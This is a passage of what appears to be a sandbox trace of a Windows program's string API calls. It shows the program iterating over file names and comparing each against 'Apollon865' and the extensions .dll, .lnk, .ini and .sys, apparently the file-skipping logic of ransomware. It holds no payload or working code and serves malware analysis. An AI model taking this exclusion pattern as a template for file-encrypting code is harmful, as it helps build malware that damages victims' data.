	[0072.813] lstrcmpiW (lpString1="PDIR34F.GIF", lpString2=".lnk") returned 1
	[0072.813] lstrlenW (lpString=".ini") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR34F.GIF", lpString2=".ini") returned 1
	[0072.813] lstrlenW (lpString=".sys") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR34F.GIF", lpString2=".sys") returned 1
	[0072.813] lstrlenW (lpString="PDIR34F.GIF") returned 11
	[0072.813] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR35B.GIF" | out: lpString1="PDIR35B.GIF") returned="PDIR35B.GIF"
	[0072.813] lstrlenW (lpString="PDIR35B.GIF") returned 11
	[0072.813] lstrlenW (lpString="Apollon865") returned 10
	[0072.813] lstrcmpiW (lpString1="DIR35B.GIF", lpString2="Apollon865") returned 1
	[0072.813] lstrlenW (lpString=".dll") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR35B.GIF", lpString2=".dll") returned 1
	[0072.813] lstrlenW (lpString=".lnk") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR35B.GIF", lpString2=".lnk") returned 1
	[0072.813] lstrlenW (lpString=".ini") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR35B.GIF", lpString2=".ini") returned 1
	[0072.813] lstrlenW (lpString=".sys") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR35B.GIF", lpString2=".sys") returned 1
	[0072.813] lstrlenW (lpString="PDIR35B.GIF") returned 11
	[0072.814] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR35F.GIF" | out: lpString1="PDIR35F.GIF") returned="PDIR35F.GIF"
	[0072.814] lstrlenW (lpString="PDIR35F.GIF") returned 11
	[0072.814] lstrlenW (lpString="Apollon865") returned 10
	[0072.814] lstrcmpiW (lpString1="DIR35F.GIF", lpString2="Apollon865") returned 1
	[0072.814] lstrlenW (lpString=".dll") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR35F.GIF", lpString2=".dll") returned 1
	[0072.814] lstrlenW (lpString=".lnk") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR35F.GIF", lpString2=".lnk") returned 1
	[0072.814] lstrlenW (lpString=".ini") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR35F.GIF", lpString2=".ini") returned 1
	[0072.814] lstrlenW (lpString=".sys") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR35F.GIF", lpString2=".sys") returned 1
	[0072.814] lstrlenW (lpString="PDIR35F.GIF") returned 11
	[0072.814] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR36B.GIF" | out: lpString1="PDIR36B.GIF") returned="PDIR36B.GIF"
	[0072.814] lstrlenW (lpString="PDIR36B.GIF") returned 11
	[0072.814] lstrlenW (lpString="Apollon865") returned 10
	[0072.814] lstrcmpiW (lpString1="DIR36B.GIF", lpString2="Apollon865") returned 1
	[0072.814] lstrlenW (lpString=".dll") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR36B.GIF", lpString2=".dll") returned 1
	[0072.814] lstrlenW (lpString=".lnk") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR36B.GIF", lpString2=".lnk") returned 1
	[0072.814] lstrlenW (lpString=".ini") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR36B.GIF", lpString2=".ini") returned 1
	[0072.814] lstrlenW (lpString=".sys") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR36B.GIF", lpString2=".sys") returned 1
	[0072.814] lstrlenW (lpString="PDIR36B.GIF") returned 11
	[0072.814] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR36F.GIF" | out: lpString1="PDIR36F.GIF") returned="PDIR36F.GIF"
	[0072.814] lstrlenW (lpString="PDIR36F.GIF") returned 11
	[0072.814] lstrlenW (lpString="Apollon865") returned 10
	[0072.814] lstrcmpiW (lpString1="DIR36F.GIF", lpString2="Apollon865") returned 1
	[0072.814] lstrlenW (lpString=".dll") returned 4
	[0072.814] lstrcmpiW (lpString1="PDIR36F.GIF", lpString2=".dll") returned 1
	[0072.814] lstrlenW (lpString=".lnk") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR36F.GIF", lpString2=".lnk") returned 1
	[0072.815] lstrlenW (lpString=".ini") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR36F.GIF", lpString2=".ini") returned 1
	[0072.815] lstrlenW (lpString=".sys") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR36F.GIF", lpString2=".sys") returned 1
	[0072.815] lstrlenW (lpString="PDIR36F.GIF") returned 11
	[0072.815] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR37F.GIF" | out: lpString1="PDIR37F.GIF") returned="PDIR37F.GIF"
	[0072.815] lstrlenW (lpString="PDIR37F.GIF") returned 11
	[0072.815] lstrlenW (lpString="Apollon865") returned 10
	[0072.815] lstrcmpiW (lpString1="DIR37F.GIF", lpString2="Apollon865") returned 1
	[0072.815] lstrlenW (lpString=".dll") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR37F.GIF", lpString2=".dll") returned 1
	[0072.815] lstrlenW (lpString=".lnk") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR37F.GIF", lpString2=".lnk") returned 1
	[0072.815] lstrlenW (lpString=".ini") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR37F.GIF", lpString2=".ini") returned 1
	[0072.815] lstrlenW (lpString=".sys") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR37F.GIF", lpString2=".sys") returned 1
	[0072.815] lstrlenW (lpString="PDIR37F.GIF") returned 11
	[0072.815] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR38F.GIF" | out: lpString1="PDIR38F.GIF") returned="PDIR38F.GIF"
	[0072.815] lstrlenW (lpString="PDIR38F.GIF") returned 11
	[0072.815] lstrlenW (lpString="Apollon865") returned 10
	[0072.815] lstrcmpiW (lpString1="DIR38F.GIF", lpString2="Apollon865") returned 1
	[0072.815] lstrlenW (lpString=".dll") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR38F.GIF", lpString2=".dll") returned 1
	[0072.815] lstrlenW (lpString=".lnk") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR38F.GIF", lpString2=".lnk") returned 1
	[0072.815] lstrlenW (lpString=".ini") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR38F.GIF", lpString2=".ini") returned 1
	[0072.815] lstrlenW (lpString=".sys") returned 4
	[0072.815] lstrcmpiW (lpString1="PDIR38F.GIF", lpString2=".sys") returned 1
	[0072.815] lstrlenW (lpString="PDIR38F.GIF") returned 11
	[0072.816] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR39F.GIF" | out: lpString1="PDIR39F.GIF") returned="PDIR39F.GIF"
	[0072.816] lstrlenW (lpString="PDIR39F.GIF") returned 11
	[0072.816] lstrlenW (lpString="Apollon865") returned 10
	[0072.816] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR3B.GIF" | out: lpString1="PDIR3B.GIF") returned="PDIR3B.GIF"
	[0072.816] lstrlenW (lpString="PDIR3B.GIF") returned 10
	[0072.816] lstrlenW (lpString="Apollon865") returned 10
	[0072.816] lstrlenW (lpString=".dll") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3B.GIF", lpString2=".dll") returned 1
	[0072.816] lstrlenW (lpString=".lnk") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3B.GIF", lpString2=".lnk") returned 1
	[0072.816] lstrlenW (lpString=".ini") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3B.GIF", lpString2=".ini") returned 1
	[0072.816] lstrlenW (lpString=".sys") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3B.GIF", lpString2=".sys") returned 1
	[0072.816] lstrlenW (lpString="PDIR3B.GIF") returned 10
	[0072.816] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR3F.GIF" | out: lpString1="PDIR3F.GIF") returned="PDIR3F.GIF"
	[0072.816] lstrlenW (lpString="PDIR3F.GIF") returned 10
	[0072.816] lstrlenW (lpString="Apollon865") returned 10
	[0072.816] lstrlenW (lpString=".dll") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3F.GIF", lpString2=".dll") returned 1
	[0072.816] lstrlenW (lpString=".lnk") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3F.GIF", lpString2=".lnk") returned 1
	[0072.816] lstrlenW (lpString=".ini") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3F.GIF", lpString2=".ini") returned 1
	[0072.816] lstrlenW (lpString=".sys") returned 4
	[0072.816] lstrcmpiW (lpString1="PDIR3F.GIF", lpString2=".sys") returned 1
	[0072.816] lstrlenW (lpString="PDIR3F.GIF") returned 10
	[0072.816] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR40F.GIF" | out: lpString1="PDIR40F.GIF") returned="PDIR40F.GIF"
	[0072.816] lstrlenW (lpString="PDIR40F.GIF") returned 11
	[0072.816] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR41F.GIF" | out: lpString1="PDIR41F.GIF") returned="PDIR41F.GIF"
	[0072.817] lstrlenW (lpString="PDIR41F.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR42F.GIF" | out: lpString1="PDIR42F.GIF") returned="PDIR42F.GIF"
	[0072.817] lstrlenW (lpString="PDIR42F.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR43B.GIF" | out: lpString1="PDIR43B.GIF") returned="PDIR43B.GIF"
	[0072.817] lstrlenW (lpString="PDIR43B.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR43F.GIF" | out: lpString1="PDIR43F.GIF") returned="PDIR43F.GIF"
	[0072.817] lstrlenW (lpString="PDIR43F.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR44B.GIF" | out: lpString1="PDIR44B.GIF") returned="PDIR44B.GIF"
	[0072.817] lstrlenW (lpString="PDIR44B.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR44F.GIF" | out: lpString1="PDIR44F.GIF") returned="PDIR44F.GIF"
	[0072.817] lstrlenW (lpString="PDIR44F.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR45B.GIF" | out: lpString1="PDIR45B.GIF") returned="PDIR45B.GIF"
	[0072.817] lstrlenW (lpString="PDIR45B.GIF") returned 11
	[0072.817] lstrlenW (lpString="Apollon865") returned 10
	[0072.817] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR45F.GIF" | out: lpString1="PDIR45F.GIF") returned="PDIR45F.GIF"
	[0072.818] lstrlenW (lpString="PDIR45F.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR46B.GIF" | out: lpString1="PDIR46B.GIF") returned="PDIR46B.GIF"
	[0072.818] lstrlenW (lpString="PDIR46B.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR46F.GIF" | out: lpString1="PDIR46F.GIF") returned="PDIR46F.GIF"
	[0072.818] lstrlenW (lpString="PDIR46F.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR47B.GIF" | out: lpString1="PDIR47B.GIF") returned="PDIR47B.GIF"
	[0072.818] lstrlenW (lpString="PDIR47B.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR47F.GIF" | out: lpString1="PDIR47F.GIF") returned="PDIR47F.GIF"
	[0072.818] lstrlenW (lpString="PDIR47F.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR48B.GIF" | out: lpString1="PDIR48B.GIF") returned="PDIR48B.GIF"
	[0072.818] lstrlenW (lpString="PDIR48B.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR48F.GIF" | out: lpString1="PDIR48F.GIF") returned="PDIR48F.GIF"
	[0072.818] lstrlenW (lpString="PDIR48F.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.818] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR49B.GIF" | out: lpString1="PDIR49B.GIF") returned="PDIR49B.GIF"
	[0072.818] lstrlenW (lpString="PDIR49B.GIF") returned 11
	[0072.818] lstrlenW (lpString="Apollon865") returned 10
	[0072.819] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR49F.GIF" | out: lpString1="PDIR49F.GIF") returned="PDIR49F.GIF"
	[0072.819] lstrlenW (lpString="PDIR49F.GIF") returned 11
	[0072.819] lstrlenW (lpString="Apollon865") returned 10
	[0072.819] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR4B.GIF" | out: lpString1="PDIR4B.GIF") returned="PDIR4B.GIF"
	[0072.819] lstrlenW (lpString="PDIR4B.GIF") returned 10
	[0072.819] lstrlenW (lpString="Apollon865") returned 10
	[0072.819] lstrlenW (lpString=".dll") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4B.GIF", lpString2=".dll") returned 1
	[0072.819] lstrlenW (lpString=".lnk") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4B.GIF", lpString2=".lnk") returned 1
	[0072.819] lstrlenW (lpString=".ini") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4B.GIF", lpString2=".ini") returned 1
	[0072.819] lstrlenW (lpString=".sys") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4B.GIF", lpString2=".sys") returned 1
	[0072.819] lstrlenW (lpString="PDIR4B.GIF") returned 10
	[0072.819] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR4F.GIF" | out: lpString1="PDIR4F.GIF") returned="PDIR4F.GIF"
	[0072.819] lstrlenW (lpString="PDIR4F.GIF") returned 10
	[0072.819] lstrlenW (lpString="Apollon865") returned 10
	[0072.819] lstrlenW (lpString=".dll") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4F.GIF", lpString2=".dll") returned 1
	[0072.819] lstrlenW (lpString=".lnk") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4F.GIF", lpString2=".lnk") returned 1
	[0072.819] lstrlenW (lpString=".ini") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4F.GIF", lpString2=".ini") returned 1
	[0072.819] lstrlenW (lpString=".sys") returned 4
	[0072.819] lstrcmpiW (lpString1="PDIR4F.GIF", lpString2=".sys") returned 1
	[0072.819] lstrlenW (lpString="PDIR4F.GIF") returned 10
	[0072.819] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR50B.GIF" | out: lpString1="PDIR50B.GIF") returned="PDIR50B.GIF"
	[0072.819] lstrlenW (lpString="PDIR50B.GIF") returned 11
	[0072.819] lstrlenW (lpString="Apollon865") returned 10
	[0072.821] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR50F.GIF" | out: lpString1="PDIR50F.GIF") returned="PDIR50F.GIF"
	[0072.821] lstrlenW (lpString="PDIR50F.GIF") returned 11
	[0072.821] lstrlenW (lpString="Apollon865") returned 10
	[0072.821] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR51B.GIF" | out: lpString1="PDIR51B.GIF") returned="PDIR51B.GIF"
	[0072.821] lstrlenW (lpString="PDIR51B.GIF") returned 11
	[0072.821] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR51F.GIF" | out: lpString1="PDIR51F.GIF") returned="PDIR51F.GIF"
	[0072.822] lstrlenW (lpString="PDIR51F.GIF") returned 11
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR5B.GIF" | out: lpString1="PDIR5B.GIF") returned="PDIR5B.GIF"
	[0072.822] lstrlenW (lpString="PDIR5B.GIF") returned 10
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrlenW (lpString=".dll") returned 4
	[0072.822] lstrcmpiW (lpString1="PDIR5B.GIF", lpString2=".dll") returned 1
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR5F.GIF" | out: lpString1="PDIR5F.GIF") returned="PDIR5F.GIF"
	[0072.822] lstrlenW (lpString="PDIR5F.GIF") returned 10
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR6B.GIF" | out: lpString1="PDIR6B.GIF") returned="PDIR6B.GIF"
	[0072.822] lstrlenW (lpString="PDIR6B.GIF") returned 10
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR6F.GIF" | out: lpString1="PDIR6F.GIF") returned="PDIR6F.GIF"
	[0072.822] lstrlenW (lpString="PDIR6F.GIF") returned 10
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR7B.GIF" | out: lpString1="PDIR7B.GIF") returned="PDIR7B.GIF"
	[0072.822] lstrlenW (lpString="PDIR7B.GIF") returned 10
	[0072.822] lstrlenW (lpString="Apollon865") returned 10
	[0072.822] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR7F.GIF" | out: lpString1="PDIR7F.GIF") returned="PDIR7F.GIF"
	[0072.823] lstrlenW (lpString="PDIR7F.GIF") returned 10
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR8B.GIF" | out: lpString1="PDIR8B.GIF") returned="PDIR8B.GIF"
	[0072.823] lstrlenW (lpString="PDIR8B.GIF") returned 10
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR8F.GIF" | out: lpString1="PDIR8F.GIF") returned="PDIR8F.GIF"
	[0072.823] lstrlenW (lpString="PDIR8F.GIF") returned 10
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR9B.GIF" | out: lpString1="PDIR9B.GIF") returned="PDIR9B.GIF"
	[0072.823] lstrlenW (lpString="PDIR9B.GIF") returned 10
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR9F.GIF" | out: lpString1="PDIR9F.GIF") returned="PDIR9F.GIF"
	[0072.823] lstrlenW (lpString="PDIR9F.GIF") returned 10
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPAPERS.INI" | out: lpString1="ZPAPERS.INI") returned="ZPAPERS.INI"
	[0072.823] lstrlenW (lpString="ZPAPERS.INI") returned 11
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR00.GIF" | out: lpString1="ZPDIR00.GIF") returned="ZPDIR00.GIF"
	[0072.823] lstrlenW (lpString="ZPDIR00.GIF") returned 11
	[0072.823] lstrlenW (lpString="Apollon865") returned 10
	[0072.823] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR10F.GIF" | out: lpString1="ZPDIR10F.GIF") returned="ZPDIR10F.GIF"
	[0072.823] lstrlenW (lpString="ZPDIR10F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR11F.GIF" | out: lpString1="ZPDIR11F.GIF") returned="ZPDIR11F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR11F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR12F.GIF" | out: lpString1="ZPDIR12F.GIF") returned="ZPDIR12F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR12F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR13F.GIF" | out: lpString1="ZPDIR13F.GIF") returned="ZPDIR13F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR13F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR14F.GIF" | out: lpString1="ZPDIR14F.GIF") returned="ZPDIR14F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR14F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR15F.GIF" | out: lpString1="ZPDIR15F.GIF") returned="ZPDIR15F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR15F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR16F.GIF" | out: lpString1="ZPDIR16F.GIF") returned="ZPDIR16F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR16F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.824] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR17F.GIF" | out: lpString1="ZPDIR17F.GIF") returned="ZPDIR17F.GIF"
	[0072.824] lstrlenW (lpString="ZPDIR17F.GIF") returned 12
	[0072.824] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR18F.GIF" | out: lpString1="ZPDIR18F.GIF") returned="ZPDIR18F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR18F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR19F.GIF" | out: lpString1="ZPDIR19F.GIF") returned="ZPDIR19F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR19F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR1B.GIF" | out: lpString1="ZPDIR1B.GIF") returned="ZPDIR1B.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR1B.GIF") returned 11
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR1F.GIF" | out: lpString1="ZPDIR1F.GIF") returned="ZPDIR1F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR1F.GIF") returned 11
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR20F.GIF" | out: lpString1="ZPDIR20F.GIF") returned="ZPDIR20F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR20F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR21F.GIF" | out: lpString1="ZPDIR21F.GIF") returned="ZPDIR21F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR21F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR22F.GIF" | out: lpString1="ZPDIR22F.GIF") returned="ZPDIR22F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR22F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.825] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR23F.GIF" | out: lpString1="ZPDIR23F.GIF") returned="ZPDIR23F.GIF"
	[0072.825] lstrlenW (lpString="ZPDIR23F.GIF") returned 12
	[0072.825] lstrlenW (lpString="Apollon865") returned 10
	[0072.826] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR24F.GIF" | out: lpString1="ZPDIR24F.GIF") returned="ZPDIR24F.GIF"
	[0072.826] lstrlenW (lpString="ZPDIR24F.GIF") returned 12
	[0072.826] lstrlenW (lpString="Apollon865") returned 10
	[0072.826] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR25F.GIF" | out: lpString1="ZPDIR25F.GIF") returned="ZPDIR25F.GIF"
	[0072.826] lstrlenW (lpString="ZPDIR25F.GIF") returned 12
	[0072.826] lstrlenW (lpString="Apollon865") returned 10
	[0072.826] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR26F.GIF" | out: lpString1="ZPDIR26F.GIF") returned="ZPDIR26F.GIF"
	[0072.826] lstrlenW (lpString="ZPDIR26F.GIF") returned 12
	[0072.826] lstrlenW (lpString="Apollon865") returned 10
	[0072.827] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR27F.GIF" | out: lpString1="ZPDIR27F.GIF") returned="ZPDIR27F.GIF"
	[0072.827] lstrlenW (lpString="ZPDIR27F.GIF") returned 12
	[0072.827] lstrlenW (lpString="Apollon865") returned 10
	[0072.827] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR28F.GIF" | out: lpString1="ZPDIR28F.GIF") returned="ZPDIR28F.GIF"
	[0072.827] lstrlenW (lpString="ZPDIR28F.GIF") returned 12
	[0072.827] lstrlenW (lpString="Apollon865") returned 10
	[0072.827] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR29F.GIF" | out: lpString1="ZPDIR29F.GIF") returned="ZPDIR29F.GIF"
	[0072.827] lstrlenW (lpString="ZPDIR29F.GIF") returned 12
	[0072.827] lstrlenW (lpString="Apollon865") returned 10
	[0072.827] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR2B.GIF" | out: lpString1="ZPDIR2B.GIF") returned="ZPDIR2B.GIF"
	[0072.827] lstrlenW (lpString="ZPDIR2B.GIF") returned 11
	[0072.827] lstrlenW (lpString="Apollon865") returned 10
	[0072.827] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR2F.GIF" | out: lpString1="ZPDIR2F.GIF") returned="ZPDIR2F.GIF"
	[0072.827] lstrlenW (lpString="ZPDIR2F.GIF") returned 11
	[0072.827] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR30F.GIF" | out: lpString1="ZPDIR30F.GIF") returned="ZPDIR30F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR30F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR31F.GIF" | out: lpString1="ZPDIR31F.GIF") returned="ZPDIR31F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR31F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR32F.GIF" | out: lpString1="ZPDIR32F.GIF") returned="ZPDIR32F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR32F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR33F.GIF" | out: lpString1="ZPDIR33F.GIF") returned="ZPDIR33F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR33F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR34F.GIF" | out: lpString1="ZPDIR34F.GIF") returned="ZPDIR34F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR34F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR35F.GIF" | out: lpString1="ZPDIR35F.GIF") returned="ZPDIR35F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR35F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR36F.GIF" | out: lpString1="ZPDIR36F.GIF") returned="ZPDIR36F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR36F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
